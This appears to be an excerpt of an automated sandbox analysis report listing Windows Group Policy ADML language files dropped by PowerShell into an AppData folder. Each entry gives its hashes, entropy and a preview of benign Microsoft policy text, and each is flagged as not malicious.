Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TS_APP_COMPATIBILITY">Application Compatibility</string>.. <string id="TS_APP_COMPATIBILITY_Help">Controls application compatibility settings on an RD Session Host server</string>.. <string id="TS_TIME_ZONE">Allow time zone redirection</string>.. <string id="TS_TIME_ZONE_EXPLAIN">This policy setting allows you to specify whether the client computer redirects its time zone settings to the Remote Desktop Services session.....If you enable this policy setting, clients that are capable of time zone redir

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\TerminalServer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (638), with CRLF line terminators
Category:	dropped
Size (bytes):	127562
Entropy (8bit):	4.836430182678649
Encrypted:	false
SSDEEP:	1536:9h4lfgUCtmBM22pFN8z0u753oq+I/jIqGUZRGUCFUvyP+YA4RhVjn:9hrtHrzGDiI/jIqGYRGQi3Vjn
MD5:	3602B346F09097D79EAA8029915B67F9
SHA1:	4BB802511857288C2ADA07AD532CB19E7CD5CD9D
SHA-256:	FF74BE25815C0CA023FAD48EA35E6FA32566065485534D01842D617EB39F8ACE
SHA-512:	77DDACF30B5D72A159A726FE040218F25D8E902C58CAE6D100F8B01255415C461C55A3645F643FB52D63B8079F0FCE6107CB96358EBBC7141A380D445C4B195A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TS_SUPPORTED_Windows8_or_ARM">At least Windows 8 or Windows RT</string>.. <string id="TS_SUPPORTED_Windows8_Server">At least Windows Server 2012 R2</string>.. <string id="TS_SUPPORTED_Windows8_Enterprise_AND_Server"> At least Windows 8 Enterprise or Windows Server 2012 R2</string>.. <string id="TS_SUPPORTED_ONLY_Windows7_OR_SERVER2K8R2">Windows 7 or Windows Server 2008 R2 (and their subsequent Service Packs) only</string>.. <string id="TS_SUPPORTED_ONLY_LEGACY">Windows Server 2008 R2, Windows Se

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Thumbnails.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2359
Entropy (8bit):	4.864135463263543
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKlmesQ6SmH6Se6dSGH6crboeoO6S86Ss6dS6H6cr3DJUlptRdpEFV:LeD5pm5mZymDm8rboB8OwAr3DJUlfv2n
MD5:	9DDDBE09EE87B401376670F58F52B8CB
SHA1:	3E3D3EFB918717C290B5E1FAAA19721160449A05
SHA-256:	36E567DB6F269F42865BC122835CBF10C7DE187AFF70BA93BA81C045486A134A
SHA-512:	10A5388C2C26BCAB4E38A9507A958BA2A33A09184F003632C51C9405376E43CE27E96C3F7812C51766DD71855ACD81F1ACF4B096EA263F44C2B9623663C04738
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableThumbnails">Turn off the display of thumbnails and only display icons.</string>.. <string id="DisableThumbnails_Help">This policy setting allows you to configure how File Explorer displays thumbnail images or icons on the local computer.....File Explorer displays thumbnail images by default. ....If you enable this policy setting, File Explorer displays only icons and never displays thumbnail images.....If you disable or do not configure this policy setting, File Explorer displays only thumbnail images.<

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\TouchInput.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2055
Entropy (8bit):	4.807218997990388
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKKU6oYecyziGWMlHqf+encFV:LeD5pm9HAd+FV
MD5:	9562339E02D38BECE2D7D3C89EE47766
SHA1:	1512A1230E2585B62FB78E1EE9E147FBCCF91D8F
SHA-256:	A376991D45DD68CD83E2A76C75F136B75033FDE16297EC2868755268AF2869E2
SHA-512:	531900F6AAADECA8DEF9C70F2E2D9A1A930237EE3E74CB1CF1172A2637DB340382E5108BD138F701CB533643EEA2514C2C43A1CC373B7F1EEB2FF103BCBF4AD5
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TouchInput">Touch Input</string>.. <string id="TouchInputOff">Turn off Tablet PC touch input</string>.. <string id="TouchInputOff_Help">Turn off Tablet PC touch input....Turns off touch input, which allows the user to interact with their computer using their finger.....If you enable this setting, the user will not be able to produce input with touch. They will not be able to use touch input or touch gestures such as tap and double tap, the touch pointer, and other touch-specific features.....If you disabl

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\UserProfiles.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (658), with CRLF line terminators
Category:	dropped
Size (bytes):	43896
Entropy (8bit):	4.667568456685799
Encrypted:	false
SSDEEP:	768:FkIqBn46Y+xwhTjlMIbNzjWtqqnOTLTn8Gu/:Fkze+xwhTjlPWttSvnnA
MD5:	5F55E2D434E9BE9D2AC4108C2AE42106
SHA1:	6785C7EF4F183004F4F9CCF9D383DABF8914BFF3
SHA-256:	D9459CCAD7106CC5A8665076C9D74C39D211D11A6F33870385528389826264D9
SHA-512:	6109AEFDA8D656767F0A00C75F2241A454D85AA51B36338E1F5103A96BD32BB5B6571183132FD2468AE74A298623E7000A6F1C94F5760E55C92EB6DD01537BB0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AddAdminGroupToRUP">Add the Administrators security group to roaming user profiles</string>.. <string id="AddAdminGroupToRUP_Help">This policy setting adds the Administrator security group to the roaming user profile share.....Once an administrator has configured a user's roaming profile, the profile will be created at the user's next login. The profile is created at the location that is specified by the administrator.....For the Windows XP Professional and Windows 2000 Professional operating systems, the defa

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\VolumeEncryption.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (1087), with CRLF line terminators
Category:	dropped
Size (bytes):	97809
Entropy (8bit):	4.865980267514194
Encrypted:	false
SSDEEP:	1536:yF3hamxu6iF2VflT2VfD7oaV6Z32VfDt2Kn+DZcZy:NYTNR96Zy
MD5:	11CDF6A637203126A5F35982F599C1AF
SHA1:	6E92BB3C55BAD050302EAFD9C7A722798B9FC0F1
SHA-256:	CC9BCBDB2FBBD9B3A529CFEFAEE37231BE9D712840E0FBD456D8AF9947E15F14
SHA-512:	AB39EA7CE5C379C90D4BAF6F4C506CDBDA17F29D75050CA10E713275EFAB609E0FBCD2B08E3D80E3F8EDCB410192B96C272789D10C1B71D9698B58BD75C6FE4A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ActiveDirectoryBackup_Help">This policy setting allows you to manage the Active Directory Domain Services (AD DS) backup of BitLocker Drive Encryption recovery information. This provides an administrative method of recovering data encrypted by BitLocker to prevent data loss due to lack of key information. This policy setting is only applicable to computers running Windows Server 2008 or Windows Vista.....If you enable this policy setting, BitLocker recovery information is automatically and silently backed up to AD

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\W32Time.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (721), with CRLF line terminators
Category:	dropped
Size (bytes):	16499
Entropy (8bit):	4.944041721958569
Encrypted:	false
SSDEEP:	384:A/mnOQzg68GwhRsw6uHGtY2PQJyGizYTO2jF4TTt:JnORtuYTOmF4TTt
MD5:	7FAF3A73C8DBAE90E511742BBB51AADD
SHA1:	D651E3B70B5C8A6CE7FDCD92D15189CB6880A361
SHA-256:	B62D8648EB65A947AE783F67A0E3F2276545DF1CD265CF4AA513DC53DF6882E0
SHA-512:	74A1533992353ADFD8E33365AE91DC7CF914A488D5E406D537344FE6F3565AB669DF221082E96DE47E172A4916B695B27499E129BAA9C8FB9B51C9EB264196BD
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="W32TIME_CONFIG_EXPLAIN">This policy setting allows you to specify Clock discipline and General values for the Windows Time service (W32time) for domain controllers including RODCs.....If you enable this policy setting, you can specify the following Clock discipline, General and RODC parameters for this service.....If you disable or do not configure this policy setting, Windows Time service uses the defaults of each of the following parameters.....Several of the following values are scalar, which means that they on

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WCM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (583), with CRLF line terminators
Category:	dropped
Size (bytes):	5728
Entropy (8bit):	4.528195330790601
Encrypted:	false
SSDEEP:	96:LeD5pmuOd2s+XGRFUv41c845cJ6RygNEfHZbWvK64kqo5UidD/PPTifE8h2WNOFV:EdOd2/XGbbqcSlNEf5CvWo5Ui9/n+MGW
MD5:	7D5B3A4F151213CB0EFDACFA335A6AA3
SHA1:	F36C9F3F58804077CE1AB9D41B29073D1E988752
SHA-256:	5EC9152E44738D44848AB532D269EC0D51612FD60B5FA8A7A3D53DC0395164A2
SHA-512:	C4DBFA582B75C32016FFE6AF8B5BEBFE2C9DBEB3A80BF1F8319CB1EAF76B043632E0E7A043457263EC41448A74C411920121EB194D04180E712C347F15F27EA7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Windows Connection Manager Group Policy Settings</displayName>.. <description>Windows Connection Manager Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="WCM_Category">Windows Connection Manager</string>.. <string id="WCM_BlockNonDomain">Prohibit connection to non-domain networks when connected to domain authenticated network</string>.. <string id="WCM_BlockNonDomain_Help">This policy setting prevents computers from connecting to both a domain based network and a non-domain based network at the same time... .. If this policy setting is enabled, the computer responds to automatic and manual networ

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WDI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (513), with CRLF line terminators
Category:	dropped
Size (bytes):	3666
Entropy (8bit):	4.76342138021097
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKMs4jm9y1YJWl5p0BsYlvPB9ZMKFdL5dbsEIqALJ/PUq1XWgV:LeD5pmYs4jkWlnCsKPB9ZRJHYV/PptV
MD5:	3C7A58453A2A54C65A82137819FCBFA2
SHA1:	635B1128546EA8A86DD984ADDE64BA1D0B8961A0
SHA-256:	4A49D6F192FF5E859FE003DB2584049D5F54615F80E5B977156F7D51F4752105
SHA-512:	DD3B7A0BE79E23F4B477080468B74BDA4D23730A2177DC4A092893718B2F0C2192AEB2885C60E0F2DF48AD0AA65E55535A61251325C1DFBB74844C867573139A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiDpsScenarioDataSizeLimitPolicy">Diagnostics: Configure scenario retention</string>.. <string id="WdiDpsScenarioDataSizeLimitPolicyExplain">This policy setting determines the data retention limit for Diagnostic Policy Service (DPS) scenario data.....If you enable this policy setting, you must enter the maximum size of scenario data that should be retained in megabytes. Detailed troubleshooting data related to scenarios will be retained until this limit is reached.....If you disable or do not configure this p

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WPN.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	7410
Entropy (8bit):	4.5477372257913125
Encrypted:	false
SSDEEP:	96:LeD5pmIA4ik0bcMuEB4odMuQ0AuwsurKK4GA1TunDzDsZwuE7MteWQPyqyjV:EQkdMuEWCMuesurKKHKTuAwuE7MIWKxA
MD5:	77C2A2EB749EBCA17124B632612CE191
SHA1:	3B7F2E4594DB1D354755184C0127825F6A81E7D5
SHA-256:	058509712BF20A49CC276BDF4AB6B0CCDC3550501DA0F2C4529E234E9AAE6068
SHA-512:	6FC63B4998C6E746D82F5680FB67BE2CEADC227EFFE5A07DFF1E94E69A1711AD207EA4481DF25E722D57BBBCFD14F4C395C086D06E3071D1237099C8518AB313
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NotificationsCategory">Notifications</string>.. <string id="NoTileNotification">Turn off tile notifications</string>.. <string id="NoTileNotificationExplain">.. This policy setting turns off tile notifications..... If you enable this policy setting, applications and system features will not be able to update their tiles and tile badges in the Start screen..... If you disable or do not configure this policy setting, tile and badge notifications are enabled and can be turned off b

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WinCal.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1085
Entropy (8bit):	4.9989682223802285
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yIjoCg/IPGISwIIPFV:cgeD5x8gm8fK/DPlEIPFV
MD5:	8D40CA00FF9CB0AEABED1F9B98D06B2B
SHA1:	9B8819C7D0DB7C760990DE409BDE733A8BA179CC
SHA-256:	5D5FD8758FFCD1BCB7A28025E05D5749AC4B691ADF0B9E2589C096B75E5DC5C4
SHA-512:	4978350FE3A30EA539B38C0322D00F6853CE1227FB15859FD98BC8A655B4949E8B633622D41AC22552280624BE5E017A4566198BC6FF896A25A8BA83D8825AA8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TurnOffWinCal">Turn off Windows Calendar</string>.. <string id="TurnOffWinCal_Explain">Windows Calendar is a feature that allows users to manage appointments and tasks by creating personal calendars, publishing them, and subscribing to other users calendars.....If you enable this setting, Windows Calendar will be turned off.....If you disable or do not configure this setting, Windows Calendar will be turned on.....The default is for Windows Calendar to be turned on.</string>.. <string id="WinCal">Windows

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WinInit.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2477
Entropy (8bit):	4.814838125716894
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yaGryIBOKOxOZghgBMZvGM2MWIxTgbaoR01bF2jV:cgeD5x8gm8fKeBOVx2ghUD92YN7V
MD5:	0CDEAB62595877530194386C7F6A6661
SHA1:	1F0AA6E09C0C4123912F41639AB16534669D374E
SHA-256:	00FF3D345DDD3586734720DDDE1E688A31AC0CA468ED85B8A322CBCFD4BB03EE
SHA-512:	C1CE4AB1F1878E7DFE16DBC6065E9145EEB23914208F5C0A815D4DC18B4BFD5DF5BB588E6042F80E1EAB56001F5BFD8EF5F1CA061EF43D1440B3215FCE774B91
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableNamedPipeShutdownPolicyDescription">Turn off legacy remote shutdown interface</string>.. <string id="DisableNamedPipeShutdownPolicyDescription_Help">This policy setting controls the legacy remote shutdown interface (named pipe). The named pipe remote shutdown interface is needed in order to shutdown this system from a remote Windows XP or Windows Server 2003 system.....If you enable this policy setting, the system does not create the named pipe remote shutdown interface.....If you disable or do not conf

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WinLogon.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (530), with CRLF line terminators
Category:	dropped
Size (bytes):	8978
Entropy (8bit):	4.691590472306916
Encrypted:	false
SSDEEP:	192:Ehq33S6hDBnHY0+4F1QvJNF1QmQcZNDoFYuu/+AsdegiYKECaVBMi8JfRs:mqBFUhYXZMi8c
MD5:	AD266AC436809BBDC0A19A05E80904A8
SHA1:	9515ABF43047427E1A13E2930C9AB6C171C6EA0B
SHA-256:	0E5BA42E689B38880E0DCB236FC16C4EB9E1809DC94CFCF5AA511B79FAFBA26F
SHA-512:	2B27F8DA69CDFB4423C954DC402FD7234C9F462E849F2687FFFD9E00CDEF23FF5EFA8D7A59E7640BAFC96633C0929A0136F5DCED52CA1ECD8ED2C15FBA8D1DC7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisplayLastLogonInfoDescription">Display information about previous logons during user logon</string>.. <string id="DisplayLastLogonInfoDescription_Help">This policy setting controls whether or not the system displays information about previous logons and logon failures to the user.....For local user accounts and domain user accounts in domains of at least a Windows Server 2008 functional level, if you enable this setting, a message appears after the user logs on that displays the date and time of the last suc

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Windows.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7341
Entropy (8bit):	5.050859952546844
Encrypted:	false
SSDEEP:	192:7t/qF4BH/2pten9EVDEVhclKekhlJDnfQn:8bAeYlJDnU
MD5:	091AE0EC426BBE821C7C4A313FA3E5A5
SHA1:	013191A0FEF6551C71BCBD5823D0DC6C02867906
SHA-256:	FD871C109B4BE893167D85E6C37792B70E2F251DDB9370D039161E3FE735BDCC
SHA-512:	9971AB9D1272594663E6BDEC25110E6116B39C5101C70177ED846E3D4D78A8FE8F23326D559B0D420404D1ADE94AD93FC774000A6B1B372583D54863F5B34A72
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <displayName>Windows Vista base categories and supported component definitions</displayName>.. <description>This file contains all the base categories and supported component definitions used by operating system components.</description>.... <resources>.. <stringTable>.. <string id="SUPPORTED_WindowsVistaOrServer2008Only">Windows Server 2008 and Windows Vista</string>.. <string id="SUPPORTED_AllowWebPrinting">Windows 2000 or later, running IIS. Not supported on Windows Server 2003.</string>.. <string id="SUPPORTED_IE6SP1">At least Internet Explorer 6 Service Pack 1</string>.. <string id="SUPPORTED_Win2k">At least Windows 2000</string>.. <s

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsAnytimeUpgrade.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	5.0665762842091135
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yFvHzJCFEpFlurFV:cgeD5x8gm8fKeLoFalurFV
MD5:	42A08790F9D22D63FC6D832BC97CAB7C
SHA1:	1EAADF4115A41993AEA94D99AD23034C88DA243B
SHA-256:	38866CDAD4284842C711350A8E5E9A0E3743B21BB66F0D849073FD73D4137A0F
SHA-512:	4DC9EC52BE0CA470CCAE39A62E6674610151BDA10395874548A47036EDF72C861A016D66B3ED38A1892BCB17B3A67A3371B6D29C7A1B37B76321064B6A81288D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WAU">Add features to Windows 8.1</string>.. <string id="WAU_Help">Contains settings to control the behavior of the Add features to Windows 8.1 wizard.</string>.. <string id="DisableWAU">Prevent the wizard from running.</string>.. <string id="DisableWAU_Help">By default, Add features to Windows 8.1 is available for all administrators. ....If you enable this policy setting, the wizard will not run.....If you disable this policy setting or set it to Not Configured, the wizard will run.</string>.. </s

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsBackup.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3483
Entropy (8bit):	4.819976484985464
Encrypted:	false
SSDEEP:	48:cgeD5J8FGj3Hzx+h1Pi1DjP3xYPXUrP/bFV:LeD5OuLFV
MD5:	8015A772382BE975C6E6145B1A25F71A
SHA1:	4B8773056C6F34C2BF2463E2FC9C346BA73BB221
SHA-256:	33A81CBC22929DB64640E0DA5046F30634F5B9DC9271F9601CA7ABCBC0E656D7
SHA-512:	61C05CEEC442EB66BFFC11ED4D303D15A15E5D385B62D7118EC3354FB07CDE6EB95A6A98D3828BB213122C98606333B7A7EF72B4719B79D3B07175D50FF3DA8D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Windows Backup</displayName>.. <description>Windows Backup</description>.. <resources>.. <stringTable>.. <string id="AllowOnlySystemBackup">Allow only system backup</string>.. <string id="AllowOnlySystemBackupExplain">This policy setting allows you to manage whether backups of only system volumes is allowed or both OS and data volumes can be backed up.....If you enable this policy setting, machine administrator/backup operator can backup only volumes hosting OS components and no data only volumes can be backed up.If you disable or do not configure this policy setting, backups can include both system or data volumes.</string>.. <string i

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsColorSystem.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	4.84683359240417
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ymLYLQqTKjUW3gHU5Xyp7lvW8/pV0FV:cgeD5x8gm8fKuTcgeiTD0FV
MD5:	39EDDC1EBA0C76841D195659381A44B5
SHA1:	3ED545728FAE06E6C94B15B443EE3CCBFED6B902
SHA-256:	DFF8FE621764236769B2C17AEC64C4A8496DD967CF2D3EB9E2F8103BD503E12C
SHA-512:	7A44DF7BF6E10E7985CD401D69C2361C888FF5D8CCE151C50DA871AD5F680A4EE5ED1941958014BD91FD45E0B5E6C84B6BD77467D9B6D1F197A2BA8096D17EA9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ProhibitChangingInstalledProfileList">Prohibit installing or uninstalling color profiles</string>.. <string id="ProhibitChangingInstalledProfileListExplain">This policy setting affects the ability of users to install or uninstall color profiles.....If you enable this policy setting, users cannot install new color profiles or uninstall previously installed color profiles.....If you disable or do not configure this policy setting, all users can install new color profiles. Standard users can uninstall color profi

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsConnectNow.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (333), with CRLF line terminators
Category:	dropped
Size (bytes):	3410
Entropy (8bit):	5.029780460475183
Encrypted:	false
SSDEEP:	96:LeD5pmCEXQ8gCBmXrmlBGx9HuT5nF2Uxt8IoV:EbEXQ8gCBmXrmMuT5F2Uxt8F
MD5:	7FDE7C285C5BFBCD2E562DB3F37096EC
SHA1:	FE32189EE6438FF319BDD9C79FFFDEEF158BA977
SHA-256:	1471ACA2B4BCD0A4D5BF43330741CC0314A243DE0757DB0383452A7C473E1644
SHA-512:	9C1C72D90D5F03399C6AB11029EEE9EB13B897723ED636094AE1565F5E55D4BF9F468A4F93E6BC45C5FA1C135DA0351E5EE2C3372A12C558607230ECC65E78B6
Malicious:	false
